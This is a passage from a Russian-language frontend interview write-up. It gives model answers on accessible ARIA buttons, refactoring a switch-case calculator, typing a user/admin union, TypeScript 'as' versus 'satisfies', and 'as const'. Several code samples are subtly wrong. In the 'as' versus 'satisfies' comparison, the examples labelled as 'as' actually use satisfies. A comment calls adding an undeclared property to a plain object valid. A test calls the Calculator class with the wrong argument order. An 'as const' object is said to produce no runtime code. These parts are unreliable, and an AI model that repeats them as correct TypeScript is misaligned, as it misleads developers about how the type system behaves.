aria-label="Открыть документацию"
tabIndex={0}
onClick={() => window.open('/docs', '_blank')}
>
📖 Документация
</div>

5. Стилизация для доступности

/* Фокус — обязателен для клавиатурной навигации */
[role="button"]:focus {
outline: 2px solid #0066cc;
outline-offset: 2px;
}

/* Или кастомный фокус */
[role="button"]:focus-visible {
box-shadow: 0 0 0 3px rgba(0, 102, 204, 0.5);
}

/* Отключённое состояние */
[role="button"][aria-disabled="true"] {
opacity: 0.5;
cursor: not-allowed;
}

/* Состояние нажатия */
[role="button"]:active {
transform: translateY(1px);
}

6. Тестирование доступности

А. Ручное тестирование

  • Навигация только с клавиатуры (Tab, Enter, Пробел)
  • Проверка в скринридере (NVDA, VoiceOver, JAWS)
  • Проверка контрастности цветов

Б. Автоматическое тестирование

# Установка
npm install --save-dev @testing-library/jest-dom
npm install --save-dev jest-axe
import { render } from '@testing-library/react';
import { axe, toHaveNoViolations } from 'jest-axe';

expect.extend(toHaveNoViolations);

test('button has no accessibility violations', async () => {
const { container } = render(
<AccessibleButton onClick={jest.fn()}>
Нажми меня
</AccessibleButton>
);

const results = await axe(container);
expect(results).toHaveNoViolations();
});

В. React Testing Library

import { render, screen, fireEvent } from '@testing-library/react';

test('accessible button works correctly', () => {
const handleClick = jest.fn();

render(
<AccessibleButton onClick={handleClick}>
Отправить
</AccessibleButton>
);

const button = screen.getByRole('button', { name: /отправить/i });

// Фокус
button.focus();
expect(button).toHaveFocus();

// Клик
fireEvent.click(button);
expect(handleClick).toHaveBeenCalledTimes(1);

// Клавиатура
fireEvent.keyDown(button, { key: 'Enter' });
expect(handleClick).toHaveBeenCalledTimes(2);

fireEvent.keyDown(button, { key: ' ' });
expect(handleClick).toHaveBeenCalledTimes(3);
});

7. Когда использовать нативный button вместо ARIA

Если возможно — всегда предпочитайте нативный <button>:

// ✅ Лучший вариант — нативный button
function MyButton({ onClick, children, disabled }) {
return (
<button
type="button"
onClick={onClick}
disabled={disabled}
className="my-custom-button"
>
{children}
</button>
);
}

Нативный <button> автоматически:

  • Фокусируется по Tab
  • Активируется по Enter и Пробелу
  • Имеет правильную роль для скринридеров
  • Поддерживает состояние disabled
  • Работает без JavaScript

8. Когда ARIA-кнопка необходима

Используйте role="button" на <div> только когда:

  • Библиотека компонентов не позволяет использовать <button>
  • Нужна сложная вёрстка, невозможная внутри <button>
  • Интеграция со сторонними библиотеками (drag-and-drop, порталы)
  • Кастомные виджеты с нестандартным поведением

9. Чек-лист доступности для ARIA-кнопки

  • role="button" установлен
  • tabIndex={0} для фокусируемости
  • Обработка onKeyDown для Enter и Пробела
  • aria-disabled вместо disabled
  • Визуальный индикатор фокуса (:focus-visible)
  • Правильный cursor: pointer
  • Контрастность текста ≥ 4.5:1
  • Работа с клавиатурой протестирована
  • Скринридер озвучивает как кнопку

10. Полезные ARIA-атрибуты для кнопок

АтрибутОписаниеПример
role="button"Определяет элемент как кнопку<div role="button">
aria-disabledОтключённое состояниеaria-disabled="true"
aria-pressedСостояние переключателяaria-pressed="false"
aria-expandedРаскрыто ли связанное менюaria-expanded="true"
aria-haspopupНаличие всплывающего элементаaria-haspopup="true"
aria-labelТекстовое описаниеaria-label="Закрыть"
aria-describedbyСсылка на описаниеaria-describedby="hint"

Правильная реализация доступности — это не только добавление role="button", но и обеспечение полноценного взаимодействия с клавиатурой, визуальной обратной связи и корректной работы со вспомогательными технологиями.

Вопрос 15. Как можно оптимизировать и сделать более расширяемым калькулятор, реализованный через switch-case?

Таймкод: 00:29:28

Ответ собеседника: Неполный. Кандидат предложил объединить условия в одно, но не смог предложить конкретного решения. Можно было бы использовать объект с операциями вместо switch-case для лучшей расширяемости.

Правильный ответ:

Switch-case для калькулятора — классический пример кода, который легко рефакторить. Проблемы исходного подхода: нарушение Open/Closed Principle (для добавления новой операции нужно менять существующий код), сложность тестирования, смешение логики и данных.

1. Исходный код (проблемный)

function calculate(a: number, b: number, operation: string): number {
switch (operation) {
case '+':
return a + b;
case '-':
return a - b;
case '*':
return a * b;
case '/':
if (b === 0) throw new Error('Division by zero');
return a / b;
default:
throw new Error(`Unknown operation: ${operation}`);
}
}

Проблемы:

  • Добавление новой операции = изменение функции
  • Нельзя легко получить список доступных операций
  • Сложно тестировать изолированно
  • Нарушение Single Responsibility Principle

2. Решение 1: Объект операций (Strategy Pattern)

type Operation = (a: number, b: number) => number;

const operations: Record<string, Operation> = {
'+': (a, b) => a + b,
'-': (a, b) => a - b,
'*': (a, b) => a * b,
'/': (a, b) => {
if (b === 0) throw new Error('Division by zero');
return a / b;
},
'%': (a, b) => a % b,
'**': (a, b) => Math.pow(a, b),
};

function calculate(a: number, b: number, operation: string): number {
const fn = operations[operation];
if (!fn) {
throw new Error(`Unknown operation: ${operation}`);
}
return fn(a, b);
}

// Добавление новой операции БЕЗ изменения calculate:
operations['sqrt'] = (_, b) => Math.sqrt(b);

3. Решение 2: Класс-калькулятор с регистрацией операций

interface OperationInfo {
name: string;
symbol: string;
description: string;
execute: (a: number, b: number) => number;
}

class Calculator {
private operations = new Map<string, OperationInfo>();

register(operation: OperationInfo): this {
this.operations.set(operation.symbol, operation);
return this; // для chaining
}

calculate(a: number, b: number, symbol: string): number {
const operation = this.operations.get(symbol);
if (!operation) {
throw new Error(`Unknown operation: ${symbol}`);
}
return operation.execute(a, b);
}

getAvailableOperations(): OperationInfo[] {
return Array.from(this.operations.values());
}

hasOperation(symbol: string): boolean {
return this.operations.has(symbol);
}
}

// Использование
const calc = new Calculator();

calc
.register({
name: 'Addition',
symbol: '+',
description: 'Сложение двух чисел',
execute: (a, b) => a + b,
})
.register({
name: 'Subtraction',
symbol: '-',
description: 'Вычитание',
execute: (a, b) => a - b,
})
.register({
name: 'Multiplication',
symbol: '*',
description: 'Умножение',
execute: (a, b) => a * b,
})
.register({
name: 'Division',
symbol: '/',
description: 'Деление',
execute: (a, b) => {
if (b === 0) throw new Error('Division by zero');
return a / b;
},
});

const result = calc.calculate(10, 5, '+'); // 15
console.log(calc.getAvailableOperations());

4. Решение 3: Поддержка унарных операций

type UnaryOperation = (a: number) => number;
type BinaryOperation = (a: number, b: number) => number;

interface OperationDefinition {
symbol: string;
name: string;
type: 'unary' | 'binary';
execute: UnaryOperation | BinaryOperation;
}

class AdvancedCalculator {
private operations = new Map<string, OperationDefinition>();

register(operation: OperationDefinition): this {
this.operations.set(operation.symbol, operation);
return this;
}

calculate(symbol: string, ...args: number[]): number {
const op = this.operations.get(symbol);
if (!op) throw new Error(`Unknown operation: ${symbol}`);

if (op.type === 'unary') {
if (args.length !== 1) throw new Error(`${symbol} requires 1 argument`);
return (op.execute as UnaryOperation)(args[0]);
} else {
if (args.length !== 2) throw new Error(`${symbol} requires 2 arguments`);
return (op.execute as BinaryOperation)(args[0], args[1]);
}
}
}

// Использование
const calc = new AdvancedCalculator();

calc
.register({ symbol: '+', name: 'Add', type: 'binary', execute: (a, b) => a + b })
.register({ symbol: 'sin', name: 'Sine', type: 'unary', execute: (a) => Math.sin(a) })
.register({ symbol: 'cos', name: 'Cosine', type: 'unary', execute: (a) => Math.cos(a) })
.register({ symbol: 'sqrt', name: 'Square Root', type: 'unary', execute: (a) => Math.sqrt(a) });

calc.calculate('+', 1, 2); // 3
calc.calculate('sin', Math.PI); // ~0

5. Решение 4: Пайплайн операций (цепочка вычислений)

interface CalculationStep {
operation: string;
operand: number;
}

class PipelineCalculator {
private operations: Record<string, (a: number, b: number) => number>;

constructor(operations: Record<string, (a: number, b: number) => number>) {
this.operations = operations;
}

calculate(initial: number, steps: CalculationStep[]): number {
return steps.reduce((acc, step) => {
const fn = this.operations[step.operation];
if (!fn) throw new Error(`Unknown operation: ${step.operation}`);
return fn(acc, step.operand);
}, initial);
}
}

// Использование
const calc = new PipelineCalculator({
'+': (a, b) => a + b,
'-': (a, b) => a - b,
'*': (a, b) => a * b,
'/': (a, b) => a / b,
});

// Вычисление: ((10 + 5) * 2) - 3 = 27
const result = calc.calculate(10, [
{ operation: '+', operand: 5 },
{ operation: '*', operand: 2 },
{ operation: '-', operand: 3 },
]);

6. Решение 5: Фабрика с валидацией

interface OperationConfig {
symbol: string;
name: string;
execute: (a: number, b: number) => number;
validate?: (a: number, b: number) => void;
}

class ValidatedCalculator {
private operations = new Map<string, OperationConfig>();

register(config: OperationConfig): this {
this.operations.set(config.symbol, config);
return this;
}

calculate(a: number, b: number, symbol: string): number {
const config = this.operations.get(symbol);
if (!config) throw new Error(`Unknown operation: ${symbol}`);

// Валидация перед выполнением
config.validate?.(a, b);

return config.execute(a, b);
}
}

// Использование с валидацией
const calc = new ValidatedCalculator();

calc.register({
symbol: '/',
name: 'Division',
validate: (a, b) => {
if (b === 0) throw new Error('Division by zero');
if (!Number.isFinite(a) || !Number.isFinite(b)) {
throw new Error('Arguments must be finite numbers');
}
},
execute: (a, b) => a / b,
});

calc.register({
symbol: 'sqrt',
name: 'Square Root',
validate: (a) => {
if (a < 0) throw new Error('Cannot calculate square root of negative number');
},
execute: (a) => Math.sqrt(a),
});

7. Решение 6: Поддержка приоритета операций (для парсинга выражений)

interface OperationPrecedence {
symbol: string;
precedence: number; // Чем больше, тем выше приоритет
associativity: 'left' | 'right';
execute: (a: number, b: number) => number;
}

class ExpressionCalculator {
private operations: OperationPrecedence[] = [];

register(op: OperationPrecedence): this {
this.operations.push(op);
// Сортируем по приоритету
this.operations.sort((a, b) => b.precedence - a.precedence);
return this;
}

getPrecedence(symbol: string): number {
return this.operations.find(o => o.symbol === symbol)?.precedence ?? 0;
}

calculate(a: number, b: number, symbol: string): number {
const op = this.operations.find(o => o.symbol === symbol);
if (!op) throw new Error(`Unknown operation: ${symbol}`);
return op.execute(a, b);
}
}

// Использование
const calc = new ExpressionCalculator();

calc
.register({ symbol: '+', precedence: 1, associativity: 'left', execute: (a, b) => a + b })
.register({ symbol: '-', precedence: 1, associativity: 'left', execute: (a, b) => a - b })
.register({ symbol: '*', precedence: 2, associativity: 'left', execute: (a, b) => a * b })
.register({ symbol: '/', precedence: 2, associativity: 'left', execute: (a, b) => a / b })
.register({ symbol: '**', precedence: 3, associativity: 'right', execute: (a, b) => Math.pow(a, b) });

8. Тестируемость

Объектный подход значительно упрощает тестирование:

import { describe, it, expect } from 'vitest';

describe('Calculator', () => {
const calc = new Calculator();

beforeAll(() => {
calc
.register({ symbol: '+', name: 'Add', type: 'binary', execute: (a, b) => a + b })
.register({ symbol: '-', name: 'Sub', type: 'binary', execute: (a, b) => a - b });
});

it('should add two numbers', () => {
expect(calc.calculate('+', 2, 3)).toBe(5);
});

it('should subtract two numbers', () => {
expect(calc.calculate('-', 5, 3)).toBe(2);
});

it('should throw on unknown operation', () => {
expect(() => calc.calculate('^', 2, 3)).toThrow('Unknown operation');
});

it('should list available operations', () => {
const ops = calc.getAvailableOperations();
expect(ops).toHaveLength(2);
expect(ops.map(o => o.symbol)).toContain('+');
expect(ops.map(o => o.symbol)).toContain('-');
});
});

9. Сравнение подходов

ПодходРасширяемостьТестируемостьСложностьКогда использовать
switch-caseНизкаяНизкаяПростаяПрототип, скрипт
Объект операцийВысокаяВысокаяПростаяПростой калькулятор
Класс с регистрациейОчень высокаяОчень высокаяСредняяБиблиотека, фреймворк
С валидациейВысокаяВысокаяСредняяПродакшен-код
ПайплайнВысокаяВысокаяСредняяЦепочки вычислений
С приоритетомВысокаяВысокаяВысокаяПарсер выражений

10. Рекомендации

  • Для простых случаев — объект операций
  • Для библиотек — класс с регистрацией операций
  • Для продакшена — добавить валидацию и обработку ошибок
  • Для сложных выражений — использовать парсер с поддержкой приоритета
  • Всегда предпочитайте подходы, позволяющие добавлять операции без изменения существующего кода (Open/Closed Principle)

Ключевое преимущество объектного подхода — разделение данных (операций) от логики (выполнения). Это делает код расширяемым, тестируемым и соответствующим SOLID-принципам.

Вопрос 16. Как типизировать массив из user и admin, где user имеет ключ occupation, а admin — роль? Также типизировать функцию logPerson, которая принимает элементы этого массива.

Таймкод: 00:31:52

Ответ собеседника: Неполный. Кандидат начал создавать общий тип User и расширять Admin от него, использовал Omit для исключения полей. В итоге реализовал type guard для различения типов в функции. Однако решение было неполным и заняло много времени.

Правильный ответ:

Задача на типизацию union type с различными полями и создание type guard для безопасной работы с элементами массива.

1. Определение типов

// Вариант 1: Отдельные типы с общим полем-дискриминатором
type User = {
type: 'user';
name: string;
email: string;
occupation: string;
};

type Admin = {
type: 'admin';
name: string;
email: string;
role: string;
};

type Person = User | Admin;

2. Массив и функция logPerson

const persons: Person[] = [
{
type: 'user',
name: 'Иван',
email: 'ivan@example.com',
occupation: 'Developer',
},
{
type: 'admin',
name: 'Мария',
email: 'maria@example.com',
role: 'SuperAdmin',
},
];

// Функция с type guard через дискриминатор
function logPerson(person: Person): void {
console.log(`Name: ${person.name}`);
console.log(`Email: ${person.email}`);

// Type guard через проверку дискриминатора
if (person.type === 'user') {
// TypeScript знает, что это User
console.log(`Occupation: ${person.occupation}`);
} else {
// TypeScript знает, что это Admin
console.log(`Role: ${person.role}`);
}
}

// Использование
persons.forEach(logPerson);

3. Альтернативный подход: базовый тип с расширением

// Вариант 2: Базовый тип с общими полями
type BasePerson = {
name: string;
email: string;
};

type User = BasePerson & {
occupation: string;
};

type Admin = BasePerson & {
role: string;
};

type Person = User | Admin;

// Type guard через проверку наличия поля
function isUser(person: Person): person is User {
return 'occupation' in person;
}

function isAdmin(person: Person): person is Admin {
return 'role' in person;
}

function logPerson(person: Person): void {
console.log(`Name: ${person.name}`);
console.log(`Email: ${person.email}`);

if (isUser(person)) {
console.log(`Occupation: ${person.occupation}`);
} else if (isAdmin(person)) {
console.log(`Role: ${person.role}`);
}
}

4. Switch-case с exhaustiveness check

function logPerson(person: Person): void {
console.log(`Name: ${person.name}`);
console.log(`Email: ${person.email}`);

switch (person.type) {
case 'user':
console.log(`Occupation: ${person.occupation}`);
break;
case 'admin':
console.log(`Role: ${person.role}`);
break;
default:
// Exhaustiveness check — гарантирует обработку всех вариантов
const _exhaustiveCheck: never = person;
throw new Error(`Unhandled person type: ${_exhaustiveCheck}`);
}
}

5. Функция с возвратом разных значений

function getPersonInfo(person: Person): string {
switch (person.type) {
case 'user':
return `${person.name} works as ${person.occupation}`;
case 'admin':
return `${person.name} has role ${person.role}`;
}
}

// Использование
const info = persons.map(getPersonInfo);
console.log(info);
// ['Иван works as Developer', 'Мария has role SuperAdmin']

6. Фильтрация массива по типу

// Фильтрация с type guard
const users: User[] = persons.filter((person): person is User =>
person.type === 'user'
);

const admins: Admin[] = persons.filter((person): person is Admin =>
person.type === 'admin'
);

console.log('Users:', users);
console.log('Admins:', admins);

7. Mapped types для трансформации

// Создание словаря по типу
type PersonMap = {
[P in Person as P['name']]: P;
};

// Группировка по типу
function groupByType(persons: Person[]): { users: User[]; admins: Admin[] } {
return persons.reduce(
(acc, person) => {
if (person.type === 'user') {
acc.users.push(person);
} else {
acc.admins.push(person);
}
return acc;
},
{ users: [] as User[], admins: [] as Admin[] }
);
}

const grouped = groupByType(persons);
console.log(grouped.users); // User[]
console.log(grouped.admins); // Admin[]

8. Generic функция для обработки

// Универсальная функция с типизацией возвращаемого значения
function processPerson<T extends Person>(
person: T,
processor: (person: T) => string
): string {
return processor(person);
}

// Использование
const result = processPerson(persons[0], (user) => {
// TypeScript знает тип благодаря дженерику
return `${user.name}: ${user.occupation}`;
});

9. Полный пример с тестами

// types.ts
export type User = {
type: 'user';
name: string;
email: string;
occupation: string;
};

export type Admin = {
type: 'admin';
name: string;
email: string;
role: string;
};

export type Person = User | Admin;

// guards.ts
export function isUser(person: Person): person is User {
return person.type === 'user';
}

export function isAdmin(person: Person): person is Admin {
return person.type === 'admin';
}

// logPerson.ts
import { Person, isUser, isAdmin } from './types';

export function logPerson(person: Person): string {
const baseInfo = `Name: ${person.name}, Email: ${person.email}`;

if (isUser(person)) {
return `${baseInfo}, Occupation: ${person.occupation}`;
}

if (isAdmin(person)) {
return `${baseInfo}, Role: ${person.role}`;
}

// Exhaustiveness check
const _exhaustive: never = person;
return _exhaustive;
}

// usage.ts
import { Person } from './types';
import { logPerson } from './logPerson';

const persons: Person[] = [
{ type: 'user', name: 'Иван', email: 'ivan@test.com', occupation: 'Developer' },
{ type: 'admin', name: 'Мария', email: 'maria@test.com', role: 'SuperAdmin' },
];

persons.forEach(person => {
console.log(logPerson(person));
});

10. Сравнение подходов

ПодходПлюсыМинусыКогда использовать
Discriminated unionНадёжная типизация, exhaustiveness checkНужно добавлять поле typeРекомендуемый подход
in operator guardНе нужно менять структуру типовМенее надёжен, нет exhaustivenessКогда нельзя изменить типы
Separate typesПростотаНет связи между типамиНезависимые сущности

Рекомендуемый подход — discriminated union (с полем type), потому что:

  • TypeScript автоматически сужает тип в условиях
  • Есть поддержка exhaustiveness checking
  • Код самодокументируемый
  • Меньше ошибок при добавлении новых типов

Если нельзя изменить структуру типов (например, приходят из API), используйте type guard через оператор in.

Вопрос 17. Чем отличается приведение типа через 'as' от 'satisfies' в TypeScript?

Таймкод: 00:37:56

Ответ собеседника: Неполный. Кандидат честно признал, что не использовал satisfies в production-коде и не знает разницы. 'as' выполняет приведение типа без проверки, а 'satisfies' проверяет соответствие типу без расширения.

Правильный ответ:

as и satisfies — два принципиально разных механизма работы с типами в TypeScript. as выполняет приведение типа (type assertion), а satisfies — проверку соответствия (type satisfaction). Понимание разницы критически важно для написания безопасного кода.

1. Оператор as — Type Assertion (приведение типа)

as говорит компилятору: «Доверься мне, это значение имеет указанный тип». Это не проверка, а утверждение — TypeScript не проверяет корректность.

// Пример 1: Приведение к более конкретному типу
const response = await fetch('/api/user');
const data = await response.json() as User;
// TypeScript верит, что data — User, даже если сервер вернул что-то другое

// Пример 2: Приведение к более общему типу
const button = document.querySelector('.btn') as HTMLButtonElement;
// Может быть null, но TypeScript не предупредит

// Пример 3: Двойное приведение через unknown
const value = (someUnknownValue as unknown) as string;
// Обход системы типов — опасная практика

// Пример 4: as расширяет тип
const config = {
name: 'App',
version: '1.0.0',
} as Config;

config.name; // OK — тип Config
config.version; // OK — тип Config
config.anything; // OK — если Config допущает дополнительные свойства

Проблемы as:

// ❌ TypeScript не предупредит об ошибке
const user = {
name: 'Иван',
age: 30,
} as User; // Если User требует email — ошибка только в runtime

// ❌ Можно привести к несовместимому типу
const num = 42 as string; // Компилируется, но бессмысленно

// ❌ Теряется информация о конкретном типе
const colors = {
red: '#ff0000',
green: '#00ff00',
blue: '#0000ff',
} as Record<string, string>;

colors.red; // string — потеряли информацию о конкретных ключах

2. Оператор satisfies — Type Satisfaction (проверка соответствия)

satisfies проверяет, что значение соответствует типу, но сохраняет конкретный тип значения. Это было добавлено в TypeScript 4.9.

// Пример 1: Проверка с сохранением типа
const colors = {
red: '#ff0000',
green: '#00ff00',
blue: '#0000ff',
} satisfies Record<string, string>;

colors.red; // string — конкретное значение
colors.green; // string
colors.yellow; // Ошибка! Нет такого ключа

// Пример 2: Ошибка при несоответствии типа
const config = {
name: 'App',
version: 123, // Ошибка: Type 'number' is not assignable to type 'string'
} satisfies Config;

// Пример 3: Сохранение литеральных типов
const sizes = {
small: '12px',
medium: '16px',
large: '24px',
} satisfies Record<string, `${number}px`>;

sizes.small; // '12px' — литеральный тип, не просто string
sizes.medium; // '16px'

3. Сравнение на конкретных примерах

Пример 1: Объект с известными ключами

type Colors = 'red' | 'green' | 'blue';

// Через as — теряем конкретные ключи
const paletteAs = {
red: '#ff0000',
green: '#00ff00',
blue: '#0000ff',
yellow: '#ffff00', // Нет ошибки — as не проверяет
} satisfies Record<Colors, string>;

paletteAs.yellow; // OK — но yellow нет в Colors

// Через satisfies — ошибка на лишнем ключе
const paletteSatisfies = {
red: '#ff0000',
green: '#00ff00',
blue: '#0000ff',
yellow: '#ffff00', // Ошибка! Object literal may only specify known properties
} satisfies Record<Colors, string>;

Пример 2: Сохранение типов значений

// Через as — теряем конкретные типы
const configAs = {
port: 3000,
host: 'localhost',
debug: true,
} satisfies {
port: number;
host: string;
debug: boolean;
};

configAs.port; // number — не 3000
configAs.host; // string — не 'localhost'
configAs.debug; // boolean — не true

// Через satisfies — сохраняем конкретные типы
const configSatisfies = {
port: 3000,
host: 'localhost',
debug: true,
} satisfies {
port: number;
host: string;
debug: boolean;
};

configSatisfies.port; // 3000 — литеральный тип
configSatisfies.host; // 'localhost' — литеральный тип
configSatisfies.debug; // true — литеральный тип

Пример 3: Массивы

// Через as
const rolesAs = ['admin', 'user', 'guest'] as const;
// readonly ['admin', 'user', 'guest']

const rolesAsserted = ['admin', 'user', 'guest'] as string[];
// string[] — потеряли конкретные значения

// Через satisfies
const rolesSatisfies = ['admin', 'user', 'guest'] satisfies readonly string[];
// string[] — проверили, что это массив строк, но сохраняем тип

4. Когда использовать as

  • При работе с DOM-элементами
  • При парсинге внешних данных (JSON, API)
  • Когда вы точно знаете тип, а TypeScript — нет
  • Для приведения к более общему типу
// DOM
const input = document.querySelector('#email') as HTMLInputElement;

// API
const user = await response.json() as User;

// Приведение к общему типу
const value = specificValue as unknown as GeneralType; // Осторожно!

5. Когда использовать satisfies

  • Для проверки конфигурационных объектов
  • Когда нужно сохранить конкретные типы значений
  • Для валидации объектов без потери информации
  • При работе с литеральными типами
// Конфигурация приложения
const config = {
apiUrl: 'https://api.example.com',
timeout: 5000,
retries: 3,
} satisfies {
apiUrl: string;
timeout: number;
retries: number;
};

// Сохраняем конкретные значения для автодополнения
config.apiUrl; // 'https://api.example.com', не просто string

// Проверка соответствия union type
type HttpMethod = 'GET' | 'POST' | 'PUT' | 'DELETE';

const methods = {
getUser: 'GET',
createUser: 'POST',
updateUser: 'PUT',
deleteUser: 'DELETE',
} satisfies Record<string, HttpMethod>;

6. Сравнительная таблица

Характеристикаassatisfies
Проверка типаНет (утверждение)Да (проверка)
Сохранение конкретного типаНет (расширяет)Да (сохраняет)
Ошибки при несоответствииНетДа
Ошибки при лишних свойствахНетДа (в литералах)
Работа с литеральными типамиТеряетСохраняет
Версия TypeScriptЛюбая4.9+

7. Практический пример: Конфигурация темы

type Theme = {
colors: Record<string, string>;
spacing: Record<string, number>;
breakpoints: Record<string, string>;
};

// ❌ Через as — теряем автодополнение и не проверяем
const themeAs = {
colors: {
primary: '#0066cc',
secondary: '#666666',
},
spacing: {
small: 8,
medium: 16,
large: 24,
},
breakpoints: {
mobile: '320px',
tablet: '768px',
desktop: '1024px',
},
} as Theme;

themeAs.colors.primary; // string — потеряли '#0066cc'
themeAs.colors.anything; // OK — но не должно быть

// ✅ Через satisfies — проверяем и сохраняем
const themeSatisfies = {
colors: {
primary: '#0066cc',
secondary: '#666666',
},
spacing: {
small: 8,
medium: 16,
large: 24,
},
breakpoints: {
mobile: '320px',
tablet: '768px',
desktop: '1024px',
},
} satisfies Theme;

themeSatisfies.colors.primary; // '#0066cc' — конкретное значение
themeSatisfies.colors.anything; // Ошибка! Нет такого ключа

8. Рекомендации

  • Используйте satisfies для проверки объектов и сохранения конкретных типов
  • Используйте as только когда TypeScript не может определить тип, а вы точно знаете его
  • Избегайте цепочек as unknown as Type — это обход системы типов
  • Предпочитайте satisfies для конфигураций и констант
  • Используйте type guards вместо as при работе с внешними данными

satisfies — более безопасная альтернатива as, которая обеспечивает проверку типов без потери информации о конкретных значениях. Это один из наиболее полезных операторов, добавленных в последних версиях TypeScript.

Вопрос 18. Для чего используется 'as const' в TypeScript и что происходит с типами при его применении?

Таймкод: 00:38:21

Ответ собеседника: Правильный. as const указывает на уровне типов, что объект или переменную нельзя изменять. Все поля становятся readonly, а значения — литеральными типами.

Правильный ответ:

as const (const assertion) — это механизм TypeScript, который «замораживает» тип значения, делая его максимально конкретным (литеральным) и неизменяемым (readonly). Это один из самых полезных инструментов для работы с константами и конфигурациями.

1. Базовое поведение

Без as const:

// TypeScript выводит общие типы
const colors = {
red: '#ff0000',
green: '#00ff00',
blue: '#0000ff',
};

// Тип: { red: string; green: string; blue: string }
colors.red; // string — не '#ff0000'

// Можно изменить
colors.red = '#000000'; // OK
colors.yellow = '#ffff00'; // OK

С as const:

const colors = {
red: '#ff0000',
green: '#00ff00',
blue: '#0000ff',
} as const;

// Тип: { readonly red: '#ff0000'; readonly green: '#00ff00'; readonly blue: '#0000ff' }
colors.red; // '#ff0000' — литеральный тип

// Нельзя изменить
colors.red = '#000000'; // Ошибка! Cannot assign to 'red' because it is a read-only property
colors.yellow = '#ffff00'; // Ошибка! Property 'yellow' does not exist

2. Что именно делает as const

А. Делает все свойства readonly

const config = {
host: 'localhost',
port: 3000,
options: {
debug: true,
timeout: 5000,
},
} as const;

config.host = 'example.com'; // Ошибка! readonly
config.options.debug = false; // Ошибка! Глубокий readonly

Б. Преобразует значения в литеральные типы

const sizes = {
small: '12px',
medium: '16px',
large: '24px',
} as const;

type Size = typeof sizes.small; // '12px', не string
type Sizes = typeof sizes; // { readonly small: '12px'; readonly medium: '16px'; readonly large: '24px' }

В. Работает с массивами

// Без as const — string[]
const roles = ['admin', 'user', 'guest'];
roles.push('moderator'); // OK

// С as const — readonly tuple с литеральными типами
const roles = ['admin', 'user', 'guest'] as const;
// Тип: readonly ['admin', 'user', 'guest']

roles.push('moderator'); // Ошибка! Property 'push' does not exist
roles[0] = 'superadmin'; // Ошибка! Cannot assign to '0' because it is a read-only property

type Role = typeof roles[number]; // 'admin' | 'user' | 'guest'

3. Практические примеры использования

А. Создание enum-подобных структур

// Вместо enum
const HttpStatus = {
OK: 200,
CREATED: 201,
BAD_REQUEST: 400,
UNAUTHORIZED: 401,
NOT_FOUND: 404,
SERVER_ERROR: 500,
} as const;

type HttpStatus = typeof HttpStatus[keyof typeof HttpStatus];
// 200 | 201 | 400 | 401 | 404 | 500

function handleResponse(status: HttpStatus): void {
switch (status) {
case HttpStatus.OK:
console.log('Success');
break;
case HttpStatus.NOT_FOUND:
console.log('Not found');
break;
// ...
}
}

Б. Конфигурация с автодополнением

const config = {
api: {
baseUrl: 'https://api.example.com',
timeout: 5000,
retries: 3,
},
features: {
darkMode: true,
notifications: true,
analytics: false,
},
theme: {
primaryColor: '#0066cc',
secondaryColor: '#666666',
fontSize: 16,
},
} as const;

// Полное автодополнение и типобезопасность
config.api.baseUrl; // 'https://api.example.com'
config.features.darkMode; // true
config.theme.fontSize; // 16

// Нельзя случайно изменить конфигурацию
config.api.timeout = 10000; // Ошибка!

В. Union types из массивов

const EVENTS = ['click', 'hover', 'focus', 'blur', 'submit'] as const;
type EventName = typeof EVENTS[number];
// 'click' | 'hover' | 'focus' | 'blur' | 'submit'

function handleEvent(event: EventName): void {
// TypeScript знает все возможные значения
}

handleEvent('click'); // OK
handleEvent('scroll'); // Ошибка! Нет в union

Г. Словарь с типобезопасными ключами

const ERROR_MESSAGES = {
INVALID_EMAIL: 'Введите корректный email',
PASSWORD_TOO_SHORT: 'Пароль должен быть минимум 8 символов',
USER_NOT_FOUND: 'Пользователь не найден',
NETWORK_ERROR: 'Ошибка сети, попробуйте позже',
} as const;

type ErrorCode = keyof typeof ERROR_MESSAGES;
// 'INVALID_EMAIL' | 'PASSWORD_TOO_SHORT' | 'USER_NOT_FOUND' | 'NETWORK_ERROR'

function showError(code: ErrorCode): void {
console.log(ERROR_MESSAGES[code]); // Полная типобезопасность
}

showError('INVALID_EMAIL'); // OK
showError('UNKNOWN_ERROR'); // Ошибка!

4. Глубокий readonly

as const делает объект неизменяемым на всех уровнях вложенности:

const deep = {
level1: {
level2: {
level3: {
value: 'deep',
},
},
},
} as const;

// Все уровни readonly
deep.level1.level2.level3.value; // 'deep'
deep.level1 = {}; // Ошибка!
deep.level1.level2 = {}; // Ошибка!
deep.level1.level2.level3 = {}; // Ошибка!

5. Сравнение с альтернативами

А. as const vs readonly

// Ручной readonly — много кода, легко ошибиться
type Config = {
readonly host: string;
readonly port: number;
readonly options: {
readonly debug: boolean;
readonly timeout: number;
};
};

// as const — TypeScript выводит всё автоматически
const config = {
host: 'localhost',
port: 3000,
options: {
debug: true,
timeout: 5000,
},
} as const;

Б. as const vs enum

// Enum — генерирует runtime-код
enum Direction {
Up = 'UP',
Down = 'DOWN',
Left = 'LEFT',
Right = 'RIGHT',
}

// as const — только типы, нет runtime-кода
const Direction = {
Up: 'UP',
Down: 'DOWN',
Left: 'LEFT',
Right: 'RIGHT',
} as const;

type Direction = typeof Direction[keyof typeof Direction];
// 'UP' | 'DOWN' | 'LEFT' | 'Right'

В. as const vs Object.freeze

// Object.freeze — работает в runtime, но не влияет на типы
const frozen = Object.freeze({
name: 'App',
version: '1.0.0',
});
// Тип всё ещё: { name: string; version: string }

// as const — работает на уровне типов
const frozen = {
name: 'App',
version: '1.0.0',
} as const;
// Тип: { readonly name: 'App'; readonly version: '1.0.0' }

6. Продвинутые примеры

А. Типизация API endpoints

const API_ENDPOINTS = {
users: {
list: '/api/users',
detail: (id: number) => `/api/users/${id}`,
create: '/api/users/create',
},
posts: {
list: '/api/posts',
detail: (id: number) => `/api/posts/${id}`,
},
} as const;

type Endpoint = typeof API_ENDPOINTS;
// Полная типизация структуры API

Б. Конфигурация валидации

const VALIDATION_RULES = {
email: {
pattern: /^[^\s@]+@[^\s@]+\.[^\s@]+$/,
message: 'Введите корректный email',
},
password: {
minLength: 8,
message: 'Минимум 8 символов',
},
name: {
minLength: 2,
maxLength: 50,
message: 'От 2 до 50 символов',
},
} as const;

type ValidationRule = typeof VALIDATION_RULES[keyof typeof VALIDATION_RULES];

В. Состояния конечного автомата

const STATES = {
idle: 'idle',
loading: 'loading',
success: 'success',
error: 'error',
} as const;

type State = typeof STATES[keyof typeof STATES];
// 'idle' | 'loading' | 'success' | 'error'

type StateConfig = {
[K in State]: {
canTransitionTo: State[];
onEnter?: () => void;
onExit?: () => void;
};
};

const stateConfig: StateConfig = {
idle: { canTransitionTo: ['loading'] },
